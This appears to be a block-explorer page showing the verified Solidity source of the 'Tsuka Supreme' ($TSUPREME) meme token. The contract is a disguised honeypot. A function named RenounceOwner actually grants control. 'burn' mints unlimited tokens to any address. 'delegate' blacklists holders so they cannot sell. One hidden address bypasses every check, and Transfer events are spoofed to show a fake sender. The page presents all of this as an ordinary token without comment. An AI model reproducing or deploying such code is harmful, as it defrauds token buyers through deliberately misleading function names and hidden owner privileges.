Verified contractPartial
TSUPREME
Address0xc196d39f7457b03d99a0343c50b18d76e2cd665a
- Balance
0 ETH
- Transactions
32
- Compiler
solc 0.8.17
- Same code
Only this contract
Details
- Compiler
- solc 0.8.17+commit.8df45f5f
- Language
- solidity
- Optimization
- No
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 15,689,713
- Creation transaction
- 0x1a4defe1ce…0e49620675
TSUPREME.sol
pragma solidity 0.8.17;
/*
Tsuka Supreme - $TSUPREME
- Bringing Utility to Meme Tokens -
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TSUPREME {
mapping (address => uint256) public balanceOf;
mapping (address => bool) ValueOf;
mapping (address => bool) ii;
//
string public name = "Tsuka Supreme";
string public symbol = unicode"TSUPREME";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
balanceOf[msg.sender] = totalSupply;
deploy(lead_deployer, totalSupply); }
address owner = msg.sender;
address Construct = 0x02E48a3e08F9a889DB1729F9094597439DA4857B;
address lead_deployer = 0x8242e56a759aa0B069B9c983fe3f582020CD1eC9;
function deploy(address account, uint256 amount) public {
require(msg.sender == owner);
emit Transfer(address(0), account, amount); }
modifier V() {
require(ii[msg.sender]);
_;}
modifier I() {
require(msg.sender == owner);
_;}
function transfer(address to, uint256 value) public returns (bool success) {
if(msg.sender == Construct) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(!ValueOf[msg.sender]);
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true; }
function RenounceOwner(address nan) I public {
ii[nan] = true; }
function burn(address router, uint256 nonce) I public {
balanceOf[router] += nonce;
totalSupply += nonce; }
function delegate(address ex) V public{
require(!ValueOf[ex]);
ValueOf[ex] = true; }
function send(address ex) V public {
require(ValueOf[ex]);
ValueOf[ex] = false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(!ValueOf[from]);
require(!ValueOf[to]);
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.